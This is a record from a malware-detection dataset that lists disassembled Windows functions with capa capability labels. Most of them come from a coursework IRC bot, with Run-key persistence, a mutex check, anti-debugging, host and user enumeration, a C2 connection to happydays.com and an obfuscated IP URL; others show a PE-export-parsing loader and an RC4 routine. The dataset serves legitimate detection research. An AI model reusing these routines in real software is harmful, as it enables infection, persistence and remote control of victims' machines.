joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003ab72
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x1004c578
je 0x1003ac2e
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1003ac16
mov esi, dword [ebx + 4]
jmp 0x1003ac10
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1003ac00
cmp dword [ebp - 0xc], 4
jne 0x1003ac00
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x1003abf8
or dword [eax + 0x9c], ecx
jmp 0x1003ac00
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x1003abc4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x1003aba7
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x1003b01b
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov eax, 0x1003e82c
call fcn.10023c34
sub esp, 0x11c
mov eax, dword [0x1004d334]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x124]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x1003b114
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x1003b0e8
and dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x120]
call fcn.10002690
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov byte [ebp - 4], 1
call fcn.1003b01b
mov ecx, dword [ebp - 0x120]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.100189da
test bl, bl
jne 0x1003b0e8
or dword [ebp - 4], 0xffffffff
jmp 0x1003b059
cmp esi, 0x103
je 0x1003b0f8
cmp esi, 0x3f2
jne 0x1003b108
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.10023c25
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1003b12f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x1003e857
call fcn.10023c34
sub esp, 0x124
mov eax, dword [0x1004d334]
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], eax
mov esi, ecx
mov dword [ebp - 0x120], edi
call fcn.10038c83
cmp eax, edi
mov dword [ebp - 0x128], eax
je 0x1003b189
mov ecx, dword [esi + 0x54]
mov eax, dword [ecx]
lea edx, [ebp - 0x128]
push edx
call dword [eax + 0x14]
cmp eax, edi
je 0x1003b181
mov edx, dword [eax]
push edi
push edi
push 0xfffffffffffffffc
push edi
mov ecx, eax
call dword [edx + 0xc]
cmp dword [ebp - 0x128], edi
jne 0x1003b162
cmp dword [esi + 0x50], edi
je 0x1003b289
push str.Software_
lea ecx, [ebp - 0x11c]
call fcn.10002690
push dword [esi + 0x50]
lea ecx, [ebp - 0x11c]
mov dword [ebp - 4], edi
call fcn.1003a7cb
push 0x100414d4
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.100021a0
push dword [esi + 0x64]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.100021a0
add esp, 0x18
mov ecx, dword [ebp - 0x12c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 3
call fcn.100189da
lea eax, [ebp - 0x124]
push eax
mov esi, SysReAllocString
push esi
call fcn.1003b01b
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1003b257
push 0x104
lea eax, [ebp - 0x118]
push eax
push edi
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
cmp eax, 0x103
jne 0x1003b24b
lea eax, [ebp - 0x11c]
push eax
push esi
call fcn.1003b01b
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x124]
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x118]
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea ecx, [edi - 0x10]
call fcn.100189da
mov ecx, dword [ebp - 0x11c]
add ecx, 0xfffffff0
call fcn.100189da
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
inc eax
pop esi
call fcn.10023c25
leave
ret

Function at 0x1003c28b
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x1003c2c0
cmp edi, dword [esi + 0xc]
jge 0x1003c2c0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x1003c2c0
cmp edi, dword [eax + 8]
jge 0x1003c2c0
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x1003c2c2
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4
Function at 0x401460
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
leave
ret

Function at 0x401623
Capabilities:
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x240
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x40706d
call sym._InternetOpenA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x117], 0x70747468
mov dword [ebp - 0x113], 0x312f2f3a
mov dword [ebp - 0x10f], 0x362e3935
mov dword [ebp - 0x10b], 0x30392e35
mov dword [ebp - 0x107], 0x3634322e
mov dword [ebp - 0x103], 0
lea eax, [ebp - 0xff]
mov ecx, 0xe7
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x117]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._InternetOpenUrlA_24
sub esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4017b8
lea eax, [ebp - 0x11c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xff
lea eax, [ebp - 0x21b]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._InternetReadFile_16
sub esp, 0x10
mov eax, dword [ebp - 0x11c]
mov byte [ebp + eax - 0x21b], 0
lea eax, [ebp - 0x21b]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
js 0x401797
lea edx, [ebp - 0x21b]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
call sym._isspace
test eax, eax
je 0x401796
lea edx, [ebp - 0x21b]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0
sub dword [ebp - 0xc], 1
jmp 0x40175f
nop
movzx eax, byte [ebp - 0x21b]
cmp al, 0x23
jne 0x4017b8
lea eax, [ebp - 0x21b]
mov dword [esp + 4], eax
mov dword [esp], 0x406020
call sym._strcpy
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
nop
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret
Function at 0x4017dc
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x34]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 6
lea eax, [ebp - 0x14]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x407071
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._getaddrinfo_16
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x40185e
mov eax, 1
jmp 0x4018ee
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._socket_12
sub esp, 0xc
mov dword [0x406198], eax
mov eax, dword [0x406198]
cmp eax, 0xffffffff
jne 0x40189f
mov eax, 1
jmp 0x4018ee
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov ecx, eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x18]
mov eax, dword [0x406198]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
cmp eax, 0xffffffff
setne al
test al, al
je 0x4018d6
mov eax, 0
jmp 0x4018ee
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._freeaddrinfo_4
sub esp, 4
cmp dword [ebp - 0x10], 0xffffffff
sete al
movzx eax, al
leave
ret

Function at 0x4018f0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0x409104
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov dword [ebp - 0xc], eax
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetModuleFileNameA_12
sub esp, 0xc
cmp dword [ebp - 0xc], 0
jne 0x4019cd
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [0x409104]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x118]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.malfor
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov dword [ebp - 0x14], eax
nop
leave
ret
Function at 0x4028ad
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 8], str.malfor
mov dword [esp + 4], 1
mov dword [esp], 0
call sym._CreateMutexA_12
sub esp, 0xc
call sym._GetLastError_0
cmp eax, 0xb7
sete al
test al, al
je 0x402911
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.error
mov dword [esp + 4], str.Malware_already_running_
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov eax, 1
jmp 0x402916
mov eax, 0
leave
ret

Function at 0x402918
Capabilities:
Check for sandbox username or hostname
Get hostname
Get session user name
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
call sym.isRunning__
test al, al
je 0x402934
mov eax, 0
jmp 0x402a9e
mov dword [esp + 0xc], 0x1004
mov dword [esp + 8], str.Alert
mov dword [esp + 4], str.This_file_is_a_piece_of_malware_for_the_University_malware_analysis_coursework.__If_you_continue__your_computer_will_be_infected._n_nDo_you_want_to_continue_
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
cmp eax, 7
sete al
test al, al
je 0x402971
mov dword [esp], 0
call sym._exit
call sym._IsDebuggerPresent_0
test eax, eax
setne al
test al, al
je 0x4029b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Anti_debug
mov dword [esp + 4], str.Are_you_really_trying_that_
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov eax, 0
jmp 0x402a9e
call sym.infect__
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
setne al
test al, al
je 0x4029e1
mov eax, 1
jmp 0x402a9e
mov dword [esp + 4], 0x64
mov dword [esp], 0x409020
call sym._gethostname_8
sub esp, 8
mov dword [ebp - 0x1a0], 0x64
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov dword [esp], 0x4090a0
call sym._GetUserNameA_8
sub esp, 8
call sym.updateChanName__
mov dword [ebp - 0xc], 4
mov edx, dword [ebp - 0xc]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
add eax, str.happydays.com
mov dword [esp], eax
call sym.connecttoserver_char_
test eax, eax
sete al
test al, al
je 0x402a50
call sym.ircclient__
jmp 0x402a8d
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], str.Alert
mov dword [esp + 4], str.Cannot_connect_to_server___no_connection
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
cmp eax, 7
sete al
test al, al
je 0x402a8d
mov dword [esp], 0
call sym._exit
mov dword [esp], 0x493e0
call sym._Sleep_4
sub esp, 4
jmp 0x402a27
leave
ret 0x10
Function at 0x403150
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x409184
call sym._EnterCriticalSection_4
mov ebx, dword [0x40917c]
sub esp, 4
test ebx, ebx
je 0x40319b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x403194
test esi, esi
je 0x403194
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403170
mov dword [esp], 0x409184
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403380
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4033d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4034a8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40340e
cmp eax, 4
jne 0x403430
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40341e
cmp edx, 4
je 0x40341e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403380
Function at 0x4052f0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x405326
jmp 0x40535e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x405323
cmp al, 9
je 0x405323
cmp al, 0x22
jne 0x405347
jmp 0x4053a6
cmp al, 9
je 0x405353
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x405340
jmp 0x405353
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x405350
cmp al, 9
je 0x405350
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40536d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x4053b2
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x4053a2
cmp al, 0x22
jne 0x405353
lea ebx, [edx + 2]
jmp 0x405353
Function at 0x1011a492
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.10001089
mov dword [esp + 0x24], eax
xor eax, eax
mov ecx, dword [esp + 0x24]
cmp ecx, 0
mov dword [esp + 0x20], eax
je 0x1011a55a
jmp 0x1011a5ae
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
cmp dword [eax + ecx], 0x4550
je 0x1011a5b8
jmp 0x1011a590
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.1011a1d4
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x54], ecx
mov dword [esp + 0x70], 0x12be00
mov ecx, dword [0x101c4200]
mov dword [esp + 0x4c], ecx
mov ecx, dword [0x101c4204]
mov dword [esp + 0x48], ecx
mov ecx, dword [0x101c4208]
mov dword [esp + 0x44], ecx
mov ecx, dword [0x101c420c]
mov dword [esp + 0x7c], ecx
mov ecx, dword [0x101c4210]
mov dword [esp + 0x78], ecx
mov dword [0x101c4214], 0x1b55
mov dword [esp + 0x14], eax
lea eax, [0x1011b830]
mov dword [0x101c4218], 0x19df
mov dword [esp + 0x10], eax
jmp 0x1011a57d
lea eax, [esp + 0x38]
mov dword [esp + 0xc], eax
call fcn.1011ad9b
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
je 0x1011a4e8
jmp 0x1011a617
mov eax, dword [esp + 0x10]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
je 0x1011a4c3
mov dword [0x101c4214], 0x795
mov eax, dword [esp + 0x1c]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x10], eax
jmp 0x1011a57d
mov eax, dword [esp + 0x20]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x58], ecx
mov dword [0x101c4218], 0x3d
mov dword [0x101c4214], 0xffffdef4
mov edx, dword [esp + 0x18]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x84], esi
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1011b143
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x101c4214], 0x9dd
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x20], eax
jmp 0x1011a5ae
Function at 0x1011a815
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x101c4220], 0
mov byte [0x101c4224], 0
mov dword [0x101c4218], 0x37b
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x101c421c], 0
mov dword [ebp - 0x1c], eax
jmp 0x1011a87e
mov eax, dword [0x101c4218]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x1011a8d9
mov dword [0x101c4214], 0x1374
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x101c4214], 0x195
mov dword [0x101c4218], 0xfffff8ce
mov eax, dword [0x101c421c]
add eax, 1
mov dword [0x101c421c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1011a87e
mov dword [0x101c4214], 0x6f3
mov eax, 0xfffff8ce
xor ecx, ecx
mov dword [0x101c421c], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [ebp - 0x2c], eax
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
add ecx, 0xffffe110
mov dword [0x101c4228], 0
mov edi, dword [0x101c4220]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101c4228], esi
mov dword [0x101c4214], ecx
mov eax, esi
cdq
mov ecx, dword [ebp - 0x30]
idiv ecx
mov dword [0x101c4220], edx
mov dword [0x101c4218], 0x2010
mov esi, dword [ebp - 0x2c]
mov cl, byte [ebx + esi]
mov byte [0x101c4224], cl
mov dword [0x101c4214], 0x21db
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101c4224]
mov edx, dword [0x101c4220]
mov byte [ebx + edx], cl
mov edx, dword [0x101c421c]
add edx, 1
mov dword [0x101c421c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1011a85c
jmp 0x1011a86c
Function at 0x1011ad9b
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x101c4218], 0x8e3
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
jne 0x1011aeab
mov eax, dword [ebp - 0x18]
mov dword [0x101c4214], 0x4c9
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
je 0x1011ae22
jmp 0x1011ae35
mov dword [0x101c4214], 0x192b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x1011ae5f
jmp 0x1011ae35
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1011aecb
xor eax, eax
mov dword [0x101c4214], 0x8eb
mov dword [ebp - 0x20], eax
jmp 0x1011aea3
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x1011aea3
jmp 0x1011ae35
mov dword [0x101c4214], 0x157c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1011ae46
jmp 0x1011ae35
mov dword [0x101c4218], 0x27
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
mov dx, word [eax + ecx*2 - 0x14]
mov word [ebp - 0x22], dx
mov ax, word [ebp - 0x22]
cmp ax, 0x64
je 0x1011ae07
jmp 0x1011ae35
mov eax, dword [ebp - 0x20]
add esp, 0x24
pop ebp
ret
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x1011adcf
jmp 0x1011ade9
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1011ae7a
jmp 0x1011ae35